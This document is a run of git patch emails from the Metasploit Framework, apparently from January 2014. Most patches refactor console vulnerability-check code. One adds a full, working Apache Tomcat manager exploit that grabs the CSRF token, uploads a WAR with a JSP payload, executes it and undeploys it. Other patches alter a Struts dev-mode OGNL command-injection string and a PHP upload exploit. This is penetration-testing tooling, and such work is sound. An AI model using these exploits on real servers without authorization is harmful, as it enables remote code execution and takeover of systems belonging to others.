a/lib/msf/ui/console/module_command_dispatcher.rb +++ b/lib/msf/ui/console/module_command_dispatcher.rb @@ -152,7 +152,7 @@ module ModuleCommandDispatcher print_error("#{rhost}:#{rport} - Check failed: The state could not be determined.") end rescue ::Rex::ConnectionError, ::Rex::ConnectionProxyError, ::Errno::ECONNRESET, ::Errno::EINTR, ::Rex::TimeoutError, ::Timeout::Error - rescue ::NoMethodError, ::RuntimeError, ::ArgumentError, ::NameError + rescue ::RuntimeError rescue ::Exception => e if(e.class.to_s != 'Msf::OptionValidateError') print_error("Check failed: #{e.class} #{e}") From 8fe74629fe1d6f85381290d31a46f3d87253faf9 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Sun, 26 Jan 2014 00:06:41 -0600 Subject: [PATCH 093/246] Allow send_request_cgi to take care of the uri encoding --- modules/exploits/multi/http/struts_dev_mode.rb | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/modules/exploits/multi/http/struts_dev_mode.rb b/modules/exploits/multi/http/struts_dev_mode.rb index 20e50d6e3c..14adc7429e 100644 --- a/modules/exploits/multi/http/struts_dev_mode.rb +++ b/modules/exploits/multi/http/struts_dev_mode.rb @@ -118,14 +118,13 @@ class Metasploit3 < Msf::Exploit::Remote def execute_command(cmd) injection = "#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),CMD" - injection.gsub!(/CMD/, Rex::Text.uri_encode(cmd)) + injection.gsub!(/CMD/, cmd) vprint_status("Attempting to execute: #{cmd}") res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path.to_s), - 'method' => 'GET', - 'encode_params' => false, + 'uri' => normalize_uri(target_uri.path.to_s), + 'method' => 'GET', 'vars_get' => { 'debug' => 'command', From 60f1688bb8b8a12e5d7730b23e9853f5e76e3f32 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Sun, 26 Jan 2014 00:57:02 -0600 Subject: [PATCH 094/246] Fix option validation --- .../ui/console/module_command_dispatcher.rb | 18 ++++-------------- 1 file changed, 4 insertions(+), 14 deletions(-) diff --git a/lib/msf/ui/console/module_command_dispatcher.rb b/lib/msf/ui/console/module_command_dispatcher.rb index 16bcedd8d3..380ca82efb 100644 --- a/lib/msf/ui/console/module_command_dispatcher.rb +++ b/lib/msf/ui/console/module_command_dispatcher.rb @@ -109,10 +109,7 @@ module ModuleCommandDispatcher hosts = Rex::Socket::RangeWalker.new(ip_range_arg) begin - if hosts.ranges.blank? and mod.datastore['RHOST'].blank? - print_error("No host specified") - return - elsif hosts.ranges.blank? + if hosts.ranges.blank? # Check a single rhost check_simple else @@ -153,17 +150,10 @@ module ModuleCommandDispatcher end rescue ::Rex::ConnectionError, ::Rex::ConnectionProxyError, ::Errno::ECONNRESET, ::Errno::EINTR, ::Rex::TimeoutError, ::Timeout::Error rescue ::RuntimeError + rescue Msf::OptionValidateError => e + print_error("Check failed: #{e.message}") rescue ::Exception => e - if(e.class.to_s != 'Msf::OptionValidateError') - print_error("Check failed: #{e.class} #{e}") - print_error("Call stack:") - e.backtrace.each do |line| - break if line =~ /lib.msf.base.simple/ - print_error(" #{line}") - end - else - print_error("#{rhost}:#{rport} - Check failed: #{e.class} #{e}") - end + print_error("#{rhost}:#{rport} - Check failed: #{e.class} #{e}") end end From 6ffb750633c68a5501dbb2b24991648729bf3598 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Sun, 26 Jan 2014 01:14:11 -0600 Subject: [PATCH 095/246] Change Unsupported message Auxiliary modules can use check, too. Not just exploits. --- lib/msf/core/exploit.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index fe7a9223ac..a019d13020 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -104,9 +104,9 @@ class Exploit < Msf::Module Vulnerable = [ 'vulnerable', "The target is vulnerable." ] # - # The exploit does not support the check method. + # The module does not support the check method. # - Unsupported = [ 'unsupported', "This exploit does not support check." ] + Unsupported = [ 'unsupported', "This module does not support check." ] end # From f0ebd13447ac91ce5adaa1d8ac53fdaf41bd21f5 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Sun, 26 Jan 2014 02:49:16 -0600 Subject: [PATCH 096/246] Make sure all threads are killed after interrupt If threads aren't killed, then when the user triggers interrupt, the console will keep the threads (vuln checks) running, which looks weird. --- lib/msf/ui/console/module_command_dispatcher.rb | 3 +++ 1 file changed, 3 insertions(+) diff --git a/lib/msf/ui/console/module_command_dispatcher.rb b/lib/msf/ui/console/module_command_dispatcher.rb index 380ca82efb..27454be557 100644 --- a/lib/msf/ui/console/module_command_dispatcher.rb +++ b/lib/msf/ui/console/module_command_dispatcher.rb @@ -126,6 +126,9 @@ module ModuleCommandDispatcher end end rescue ::Interrupt + if @tl + @tl.each { |t| t.kill } + end print_status("Caught interrupt from the console...") return end From a14dddd1efc5af6e769fe9accec157eb7ad0331a Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Sun, 26 Jan 2014 12:08:20 -0600 Subject: [PATCH 097/246] Show warning --- lib/msf/ui/console/module_command_dispatcher.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/ui/console/module_command_dispatcher.rb b/lib/msf/ui/console/module_command_dispatcher.rb index 27454be557..991c6ad889 100644 --- a/lib/msf/ui/console/module_command_dispatcher.rb +++ b/lib/msf/ui/console/module_command_dispatcher.rb @@ -64,14 +64,14 @@ module ModuleCommandDispatcher if Rex::Compat.is_windows if threads_max > 16 - vprint_warning("Thread count has been adjusted to 16") + print_warning("Thread count has been adjusted to 16") threads_max = 16 end end if Rex::Compat.is_cygwin if threads_max > 200 - vprint_warning("Thread count has been adjusted to 200") + print_warning("Thread count has been adjusted to 200") threads_max = 200 end end From 48836b45cf18096eb727c0657d070b298929fc2d Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Sun, 26 Jan 2014 12:15:47 -0600 Subject: [PATCH 098/246] Last commit before PR Code changes address these feature requests: [SeeRM #8737] [SeeRM #8752] [SeeRM #8755] --- lib/msf/ui/console/module_command_dispatcher.rb | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/lib/msf/ui/console/module_command_dispatcher.rb b/lib/msf/ui/console/module_command_dispatcher.rb index 991c6ad889..00d561a9ab 100644 --- a/lib/msf/ui/console/module_command_dispatcher.rb +++ b/lib/msf/ui/console/module_command_dispatcher.rb @@ -51,6 +51,7 @@ module ModuleCommandDispatcher end def check_multiple(hosts) + # This part of the code is mostly from scanner.rb @show_progress = framework.datastore['ShowProgress'] || mod.datastore['ShowProgress'] || false @show_percent = ( framework.datastore['ShowProgressPercent'] || mod.datastore['ShowProgressPercent'] ).to_i @@ -58,6 +59,7 @@ module ModuleCommandDispatcher @range_done = 0 @range_percent = 0 + # Set the default thread to 1. The same behavior as before. threads_max = (framework.datastore['THREADS'] || mod.datastore['THREADS'] || 1).to_i @tl = [] @@ -113,6 +115,7 @@ module ModuleCommandDispatcher # Check a single rhost check_simple else + # Check multiple hosts last_rhost_opt = mod.rhost last_rhosts_opt = mod.datastore['RHOSTS'] mod.datastore['RHOSTS'] = ip_range_arg @@ -126,6 +129,10 @@ module ModuleCommandDispatcher end end rescue ::Interrupt + # When the user sends interrupt trying to quit the task, some threads will still be active. + # This means even though the console tells the user the task has aborted (or at least they + # assume so), the checks are still running. Because of this, as soon as we detect interrupt, + # we force the threads to die. if @tl @tl.each { |t| t.kill } end @@ -152,7 +159,9 @@ module ModuleCommandDispatcher print_error("#{rhost}:#{rport} - Check failed: The state could not be determined.") end rescue ::Rex::ConnectionError, ::Rex::ConnectionProxyError, ::Errno::ECONNRESET, ::Errno::EINTR, ::Rex::TimeoutError, ::Timeout::Error + # Connection issues while running check should be handled by the module rescue ::RuntimeError + # Some modules raise RuntimeError but we don't necessarily care about those when we run check() rescue Msf::OptionValidateError => e print_error("Check failed: #{e.message}") rescue ::Exception => e From f471f5009241b508d975a96e05bdc5ca458e22d3 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Sun, 26 Jan 2014 12:22:13 -0600 Subject: [PATCH 099/246] ms08_067_check.rb is deprecated. [SeeRM #8755] --- modules/auxiliary/scanner/smb/ms08_067_check.rb | 3 +++ 1 file changed, 3 insertions(+) diff --git a/modules/auxiliary/scanner/smb/ms08_067_check.rb b/modules/auxiliary/scanner/smb/ms08_067_check.rb index 3cf58c45bd..34eb524d3a 100644 --- a/modules/auxiliary/scanner/smb/ms08_067_check.rb +++ b/modules/auxiliary/scanner/smb/ms08_067_check.rb @@ -4,6 +4,7 @@ ## require "msf/core" +require 'msf/core/module/deprecated' class Metasploit4 < Msf::Auxiliary @@ -11,6 +12,8 @@ class Metasploit4 < Msf::Auxiliary include Msf::Exploit::Remote::SMB include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report + include Msf::Module::Deprecated + deprecated Date.new(2014, 2, 26), "exploit/windows/smb/ms08_067_netapi" def initialize(info = {}) super(update_info(info, From eec01e79ff44a36b788ea37c8a85fde0fbb4f72c Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Sun, 26 Jan 2014 16:25:30 -0600 Subject: [PATCH 100/246] No explicit "return" --- lib/msf/core/auxiliary/scanner.rb | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/auxiliary/scanner.rb b/lib/msf/core/auxiliary/scanner.rb index 5ab138b446..d91e3469a8 100644 --- a/lib/msf/core/auxiliary/scanner.rb +++ b/lib/msf/core/auxiliary/scanner.rb @@ -33,12 +33,11 @@ end def check - nmod = self.replicant + nmod = replicant begin - code = nmod.check_host(datastore['RHOST']) - return code + nmod.check_host(datastore['RHOST']) rescue NoMethodError - return Exploit::CheckCode::Unsupported + Exploit::CheckCode::Unsupported end end From 45bb336c5148586a67ac67cef9709dca15760654 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Sun, 26 Jan 2014 16:27:36 -0600 Subject: [PATCH 101/246] Loop do it --- lib/msf/core/auxiliary/scanner.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/auxiliary/scanner.rb b/lib/msf/core/auxiliary/scanner.rb index d91e3469a8..fade61b0ea 100644 --- a/lib/msf/core/auxiliary/scanner.rb +++ b/lib/msf/core/auxiliary/scanner.rb @@ -89,7 +89,7 @@ def run @tl = [] - while (true) + loop do # Spawn threads for each host while (@tl.length < threads_max) ip = ar.next_ip From 0ffacc3420484e97e78b986e842eca1989dabd8b Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Sun, 26 Jan 2014 16:33:21 -0600 Subject: [PATCH 102/246] { } block this --- lib/msf/ui/console/module_command_dispatcher.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/ui/console/module_command_dispatcher.rb b/lib/msf/ui/console/module_command_dispatcher.rb index 00d561a9ab..38b03a7692 100644 --- a/lib/msf/ui/console/module_command_dispatcher.rb +++ b/lib/msf/ui/console/module_command_dispatcher.rb @@ -83,10 +83,10 @@ module ModuleCommandDispatcher ip = hosts.next_ip break unless ip - @tl << framework.threads.spawn("CheckHost-#{ip}", false, ip.dup) do |tip| + @tl << framework.threads.spawn("CheckHost-#{ip}", false, ip.dup) { |tip| mod.datastore['RHOST'] = tip check_simple - end + } end break if @tl.length == 0 From 6435ddd162ba5fdf284862303709fb57380a69bc Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Sun, 26 Jan 2014 16:35:44 -0600 Subject: [PATCH 103/246] loop do this too --- lib/msf/ui/console/module_command_dispatcher.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/ui/console/module_command_dispatcher.rb b/lib/msf/ui/console/module_command_dispatcher.rb index 38b03a7692..0af47b8d3b 100644 --- a/lib/msf/ui/console/module_command_dispatcher.rb +++ b/lib/msf/ui/console/module_command_dispatcher.rb @@ -78,7 +78,7 @@ module ModuleCommandDispatcher end end - while (true) + loop do while (@tl.length < threads_max) ip = hosts.next_ip break unless ip From a49473181c47eb1f9650c6dbd84fe6f8b9468d1d Mon Sep 17 00:00:00 2001 From: RangerCha <rangercha@gmail.com> Date: Mon, 27 Jan 2014 09:04:59 -0500 Subject: [PATCH 104/246] Added new module. Abuses tomcat manager upload page. Tested on tomcat 5.5.36, 6.0.37, 7.0.50, 8.0.0rc10 --- .../exploits/multi/http/tomcat_mgr_upload.rb | 413 ++++++++++++++++++ 1 file changed, 413 insertions(+) create mode 100644 modules/exploits/multi/http/tomcat_mgr_upload.rb diff --git a/modules/exploits/multi/http/tomcat_mgr_upload.rb b/modules/exploits/multi/http/tomcat_mgr_upload.rb new file mode 100644 index 0000000000..e151637075 --- /dev/null +++ b/modules/exploits/multi/http/tomcat_mgr_upload.rb @@ -0,0 +1,413 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)/ ] } + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Apache Tomcat Manager Application Deployer Authenticated Code Execution', + 'Description' => %q{ + This module can be used to execute a payload on Apache Tomcat servers that + have an exposed "manager" application. The payload is uploaded as a WAR archive + containing a jsp application using a POST request. + + The manager application can also be abused using deploy but this is already imple + + NOTE: The compatible payload sets vary based on the selected target. For + example, you must select the Windows target to use native Windows payloads. + }, + 'Author' => [ 'rangercha' ], + 'License' => MSF_LICENSE, + 'References' => + [ + # This is based on jduck's tomcat_mgr_deploy. + # the tomcat_mgr_deploy o longer works for current versions of tomcat due to + # CSRF protection tokens, a required session ID and the change from PUT to a + # multipart/form-data POST. + # + # There is no single vulnerability associated with deployment functionality. + # Instead, the focus has been on insecure/blank/hardcoded default passwords. + + # Although the default deployment no longer has any account enabled that can + # access the manager-gui functionality, people still enable it with weak + # credentials. + ], + 'Platform' => %w{ java linux win }, # others? + 'Targets' => + [ + # + # detect via /manager/serverinfo + # + # do target detection but java meter by default + [ 'Automatic', + { + 'Arch' => ARCH_JAVA, + 'Platform' => 'java' + } + ], + [ 'Java Universal', + { + 'Arch' => ARCH_JAVA, + 'Platform' => 'java' + }, + ], + + # + # Platform specific targets only + # + [ 'Windows Universal', + { + 'Arch' => ARCH_X86, + 'Platform' => 'win' + }, + ], + + [ 'Linux x86', + { + 'Arch' => ARCH_X86, + 'Platform' => 'linux' + }, + ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Nov 09 2009')) + + register_options( + [ + OptString.new('USERNAME', [ false, 'The username to authenticate as' ]), + OptString.new('PASSWORD', [ false, 'The password for the specified username' ]), + # /cognos_express/manager/ for Cognos Express (19300) + OptString.new('PATH', [ true, "The URI path of the manager app (/html/upload and /undeploy will be used)", '/manager']) + ], self.class) + end + + def check + res = query_manager + disconnect + return CheckCode::Unknown if res.nil? + if (res.code.between?(400, 499)) + print_error("Server rejected the credentials") + return CheckCode::Unknown + end + + report_auth_info( + :host => rhost, + :port => rport, + :sname => (ssl ? "https" : "http"), + :user => datastore['USERNAME'], + :pass => datastore['PASSWORD'], + :proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}", + :active => true + ) + + print_status("Target is #{detect_platform(res.body)} #{detect_arch(res.body)}") + return CheckCode::Vulnerable + end + + def auto_target + print_status("Attempting to automatically select a target...") + + res = query_status() + return nil if not res + + plat = detect_platform(res.body) + arch = detect_arch(res.body) + + # No arch or platform found? + if (not arch or not plat) + return nil + end + + # see if we have a match + targets.each { |t| + if (t['Platform'] == plat) and (t['Arch'] == arch) + return t + end + } + + # no matching target found + return nil + end + + + + def exploit + mytarget = target + if (target.name =~ /Automatic/) + mytarget = auto_target + if (not mytarget) + fail_with(Failure::NoTarget, "Unable to automatically select a target") + end + print_status("Automatically selected target \"#{mytarget.name}\"") + else + print_status("Using manually select target \"#{mytarget.name}\"") + end + + # We must regenerate the payload in case our auto-magic changed something. + p = exploit_regenerate_payload(mytarget.platform, mytarget.arch) + + # Generate the WAR containing the EXE containing the payload + jsp_name = rand_text_alphanumeric(4+rand(32-4)) + app_base = rand_text_alphanumeric(4+rand(32-4)) + + # Generate the WAR containing the payload + war = p.encoded_war({ + :app_name => app_base, + :jsp_name => jsp_name, + :arch => mytarget.arch, + :platform => mytarget.platform + }).to_s + + #find CSRF Token + res = query_manager() + return nil if not res + + session_id = res.get_cookies() + csrf_token = find_csrf(res) + + if(csrf_token==nil) + query_str = "" + else + query_str = "?path=/" + query_str << app_base + query_str << "&org.apache.catalina.filters.CSRF_NONCE=" + csrf_token + end + + # UPLOAD + # + path_tmp = normalize_uri(datastore['PATH'], "html/upload") + query_str + print_status("Uploading #{war.length} bytes as #{app_base}.war ...") + + boundary_identifier=rand_text_numeric(28) + + warmultipart = "-----------------------------" + warmultipart << boundary_identifier + warmultipart << "\r\nContent-Disposition: form-data; name=\"deployWar\"; filename=\"" + warmultipart << app_base + warmultipart << ".war\"\r\nContent-Type: application/octet-stream\r\n\r\n" + warmultipart << war + warmultipart << "\r\n-----------------------------" + warmultipart << boundary_identifier + warmultipart << "--\r\n" + + + res = send_request_cgi({ + 'uri' => path_tmp, + 'method' => 'POST', + 'ctype' => 'multipart/form-data; boundary=---------------------------' + boundary_identifier, + 'user' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'], + 'cookie' => session_id, + 'data' => warmultipart, + }, 20) + if (! res) + fail_with(Failure::Unknown, "Upload failed on #{path_tmp} [No Response]") + end + if (res.code < 200 or res.code >= 300) + case res.code + when 401 + print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}") + end + fail_with(Failure::Unknown, "Upload failed on #{path_tmp} [#{res.code} #{res.message}]") + end + + report_auth_info( + :host => rhost, + :port => rport, + :sname => (ssl ? "https" : "http"), + :user => datastore['USERNAME'], + :pass => datastore['PASSWORD'], + :proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}", + :active => true + ) + + # + # EXECUTE + # + jsp_path = '/' + app_base + '/' + jsp_name + '.jsp' + print_status("Executing #{jsp_path}...") + res = send_request_cgi({ + 'uri' => jsp_path, + 'method' => 'GET' + }, 20) + + if (! res) + print_error("Execution failed on #{app_base} [No Response]") + elsif (res.code < 200 or res.code >= 300) + print_error("Execution failed on #{app_base} [#{res.code} #{res.message}]") + vprint_status(res.body) + end + + #Get the new CSRF token & session id + res = query_manager() + return nil if not res + + session_id = res.get_cookies() + csrf_token = find_csrf(res) + + if(csrf_token==nil) + query_str = "" + else + query_str = "?path=/" + query_str << app_base + query_str << "&org.apache.catalina.filters.CSRF_NONCE=" + csrf_token + end + # + # DELETE + # + path_tmp = normalize_uri(datastore['PATH'], "/html/undeploy") + query_str + print_status("Undeploying #{app_base} ...") + res = send_request_cgi({ + 'uri' => path_tmp, + 'method' => 'POST', + 'user' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'], + 'cookie' => session_id + }, 20) + if (! res) + print_warning("WARNING: Undeployment failed on #{path_tmp} [No Response]") + elsif (res.code < 200 or res.code >= 300) + print_warning("Deletion failed on #{path_tmp} [#{res.code} #{res.message}]") + end + + handler + end + + def query_status() + path = normalize_uri(datastore['PATH'], '/status') + res = send_request_raw( + { + 'uri' => path + }, 10) + + if (not res) or (res.code != 200) + print_error("Failed: Error requesting #{path}") + return nil + end + + vprint_status(res.body) + + return res + end + + def query_manager() + path = normalize_uri(datastore['PATH'], '/html') + res = send_request_raw( + { + 'uri' => path + }, 10) + + if (not res) or (res.code != 200) + print_error("Failed: Error requesting #{path}") + return nil + end + + + return res + end + + def detect_platform(body = nil) + if not body + res = query_status() + return nil if not res + body = res.body + end + + i=0 + + body.each_line { |ln| + ln.chomp! + + case ln + when /OS Name/ + i=1 + + end + + if (i==9 or i==11) + if ln.include? "Windows" + return 'win' + elsif ln.include? "Linux" + return 'linux' + elsif i==11 + return 'unknown' + end + end + if i>0 + i=i+1 + end + } + end + + def detect_arch(body) + if not body + res = query_status() + return nil if not res + body = res.body + end + + i=0 + body.each_line { |ln| + ln.chomp! + + case ln + when /OS Architecture/ + i=1 + end + if (i==9 or i==11) + if ln.include? 'x86' + return ARCH_X86 + elsif ln.include? 'i386' + return ARCH_X86 + elsif ln.include? 'i686' + return ARCH_X86 + elsif ln.include? 'x86_64' + return ARCH_X86 + elsif ln.include? 'amd64' + return ARCH_X86 + elsif i==11 + return 'unknown' + end + + end + if i>0 + i=i+1 + end + } + end + + def find_csrf(res = nil) + print_status("Finding CSRF") + body=res.body + body.each_line { |ln| + ln.chomp! + csrf_string = "CSRF_NONCE=" + csrf_nonce = ln.index(csrf_string) + csrf_test=0 + if csrf_nonce == nil + csrf_test = -1 + else + csrf_test = csrf_nonce + end + if csrf_test>=0 + + token = ln[csrf_nonce+csrf_string.length,32] + return token + + end + } + + return "" + end + +end From 861126fdbd76ece6a8102b16cc1f2f5f022e0253 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Mon, 27 Jan 2014 08:09:18 -0600 Subject: [PATCH 105/246] Clean exploit code --- .../webapp/simple_e_document_upload_exec.rb | 59 +++++++++++-------- 1 file changed, 36 insertions(+), 23 deletions(-) diff --git a/modules/exploits/unix/webapp/simple_e_document_upload_exec.rb b/modules/exploits/unix/webapp/simple_e_document_upload_exec.rb index f4ad18e042..59a13ca1d0 100644 --- a/modules/exploits/unix/webapp/simple_e_document_upload_exec.rb +++ b/modules/exploits/unix/webapp/simple_e_document_upload_exec.rb @@ -37,7 +37,10 @@ class Metasploit3 < Msf::Exploit::Remote ], 'Payload' => { - 'BadChars' => "\x00" + 'DisableNops' => true, + # Arbitrary big number. The payload gets sent as an HTTP + # response body, so really it's unlimited + 'Space' => 262144 # 256k }, 'Arch' => ARCH_PHP, 'Platform' => 'php', @@ -64,14 +67,21 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => normalize_uri(target_uri.path, 'upload.php'), 'cookie' => 'access=3' }) - if not res - print_error("#{peer} - Connection timed out") + + unless res + vprint_error("#{peer} - Connection timed out") return Exploit::CheckCode::Unknown - elsif res.body =~ /File Uploading Has Been Disabled/ - print_error("#{peer} - File uploads are disabled") - elsif res.body =~ /Upload File/ + end + + if res.body and res.body.to_s =~ /File Uploading Has Been Disabled/ + vprint_error("#{peer} - File uploads are disabled") + return Exploit::CheckCode::Safe + end + + if res.body and res.body.to_s =~ /Upload File/ return Exploit::CheckCode::Appears end + return Exploit::CheckCode::Safe end @@ -81,35 +91,38 @@ class Metasploit3 < Msf::Exploit::Remote def upload @fname = "#{rand_text_alphanumeric(rand(10)+6)}.php" php = "<?php #{payload.encoded} ?>" + data = Rex::MIME::Message.new data.add_part('upload', nil, nil, 'form-data; name="op1"') data.add_part(php, 'application/octet-stream', nil, "form-data; name=\"fileupload\"; filename=\"#{@fname}\"") post_data = data.to_s.gsub(/^\r\n--_Part_/, '--_Part_') + print_status("#{peer} - Uploading malicious file...") res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'upload.php?op=newin'), - 'ctype' => "multipart/form-data; boundary=#{data.bound}", - 'cookie' => 'access=3', - 'data' => post_data + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'upload.php'), + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'cookie' => 'access=3', + 'data' => post_data, + 'vars_get' => { + 'op' => 'newin' + } }) - if not res - fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading") - elsif res.code.to_i == 404 - fail_with(Failure::NotFound, "#{peer} - No upload.php found") - elsif res.body =~ /Couldn't copy/ or res.body !~ /file uploaded\!/ - fail_with(Failure::UnexpectedReply, "#{peer} - Unable to write #{@fname}") - else - print_good("#{peer} - Payload uploaded successfully.") - if res.body =~ /<br>folder to use: .+#{target_uri.path}\/?(.+)<br>/ + + fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading") unless res + fail_with(Failure::NotFound, "#{peer} - No upload.php found") if res.code.to_i == 404 + fail_with(Failure::UnexpectedReply, "#{peer} - Unable to write #{@fname}") if res.body and (res.body =~ /Couldn't copy/ or res.body !~ /file uploaded\!/) + + print_good("#{peer} - Payload uploaded successfully.") + register_files_for_cleanup(@fname) + + if res.body.to_s =~ /<br>folder to use: .+#{target_uri.path}\/?(.+)<br>/ @upload_path = normalize_uri(target_uri.path, "#{$1}") print_good("#{peer} - Found upload path #{@upload_path}") - else + else @upload_path = normalize_uri(target_uri.path, 'in') print_warning("#{peer} - Could not find upload path - assuming '#{@upload_path}'") - end end - register_files_for_cleanup(@fname) end # From 0dbaeb674267caac8cc7dd966b4bd6f1610d8bce Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Mon, 27 Jan 2014 08:40:44 -0600 Subject: [PATCH 106/246] Add Matteo's email --- modules/auxiliary/scanner/printer/printer_download_file.rb | 2 +- modules/auxiliary/scanner/printer/printer_list_dir.rb | 2 +- modules/auxiliary/scanner/printer/printer_list_volumes.rb | 2 +- modules/auxiliary/scanner/printer/printer_ready_message.rb | 2 +- modules/auxiliary/scanner/printer/printer_version_info.rb | 2 +- 5 files changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/scanner/printer/printer_download_file.rb b/modules/auxiliary/scanner/printer/printer_download_file.rb index 2c43c3e3d1..41a4da6cdd 100644 --- a/modules/auxiliary/scanner/printer/printer_download_file.rb +++ b/modules/auxiliary/scanner/printer/printer_download_file.rb @@ -23,7 +23,7 @@ class Metasploit4 < Msf::Auxiliary "sinn3r", # RSpec tests "MC", # Independent mixin and modules "Myo Soe", # Independent modules - "Matteo Cantoni" # Independent modules + "Matteo Cantoni <goony[at]nothink.org>" # Independent modules ], "References" => [ ["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"] diff --git a/modules/auxiliary/scanner/printer/printer_list_dir.rb b/modules/auxiliary/scanner/printer/printer_list_dir.rb index 2de3aebf1f..10332f44b0 100644 --- a/modules/auxiliary/scanner/printer/printer_list_dir.rb +++ b/modules/auxiliary/scanner/printer/printer_list_dir.rb @@ -23,7 +23,7 @@ class Metasploit4 < Msf::Auxiliary "sinn3r", # RSpec tests "MC", # Independent mixin and modules "Myo Soe", # Independent modules - "Matteo Cantoni" # Independent modules + "Matteo Cantoni <goony[at]nothink.org>" # Independent modules ], "References" => [ ["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"] diff --git a/modules/auxiliary/scanner/printer/printer_list_volumes.rb b/modules/auxiliary/scanner/printer/printer_list_volumes.rb index 512cc134b5..88b53739fe 100644 --- a/modules/auxiliary/scanner/printer/printer_list_volumes.rb +++ b/modules/auxiliary/scanner/printer/printer_list_volumes.rb @@ -23,7 +23,7 @@ class Metasploit4 < Msf::Auxiliary "sinn3r", # RSpec tests "MC", # Independent mixin and modules "Myo Soe", # Independent modules - "Matteo Cantoni" # Independent modules + "Matteo Cantoni <goony[at]nothink.org>" # Independent modules ], "References" => [ ["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"] diff --git a/modules/auxiliary/scanner/printer/printer_ready_message.rb b/modules/auxiliary/scanner/printer/printer_ready_message.rb index 308bed475f..64a0dbfaef 100644 --- a/modules/auxiliary/scanner/printer/printer_ready_message.rb +++ b/modules/auxiliary/scanner/printer/printer_ready_message.rb @@ -23,7 +23,7 @@ class Metasploit4 < Msf::Auxiliary "sinn3r", # RSpec tests "MC", # Independent mixin and modules "Myo Soe", # Independent modules - "Matteo Cantoni" # Independent modules + "Matteo Cantoni <goony[at]nothink.org>" # Independent modules ], "References" => [ ["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"] diff --git a/modules/auxiliary/scanner/printer/printer_version_info.rb b/modules/auxiliary/scanner/printer/printer_version_info.rb index cceb296d11..95ef66b592 100644 --- a/modules/auxiliary/scanner/printer/printer_version_info.rb +++ b/modules/auxiliary/scanner/printer/printer_version_info.rb @@ -23,7 +23,7 @@ class Metasploit4 < Msf::Auxiliary "sinn3r", # RSpec tests "MC", # Independent mixin and modules "Myo Soe", # Independent modules - "Matteo Cantoni" # Independent modules + "Matteo Cantoni <goony[at]nothink.org>" # Independent modules ], "References" => [ ["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"] From d19e9307c6ed94a6cd29e5c27fa97057a72a6320 Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Mon, 27 Jan 2014 12:43:59 -0600 Subject: [PATCH 107/246] Fix missing colon in :caller_host symbol Good catch, @jvazquez-r7! --- modules/auxiliary/scanner/h323/h323_version.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/h323/h323_version.rb b/modules/auxiliary/scanner/h323/h323_version.rb index 8c43d28a31..ccfbdb6996 100644 --- a/modules/auxiliary/scanner/h323/h323_version.rb +++ b/modules/auxiliary/scanner/h323/h323_version.rb @@ -377,7 +377,7 @@ class Metasploit3 < Msf::Auxiliary vendor_id = opts[:vendor_id] callee_host = opts[:callee_host] callee_port = opts[:callee_port] - caller_host = opts[caller_host] + caller_host = opts[:caller_host] caller_port = opts[:caller_port] conf_guid = opts[:conf_guid] 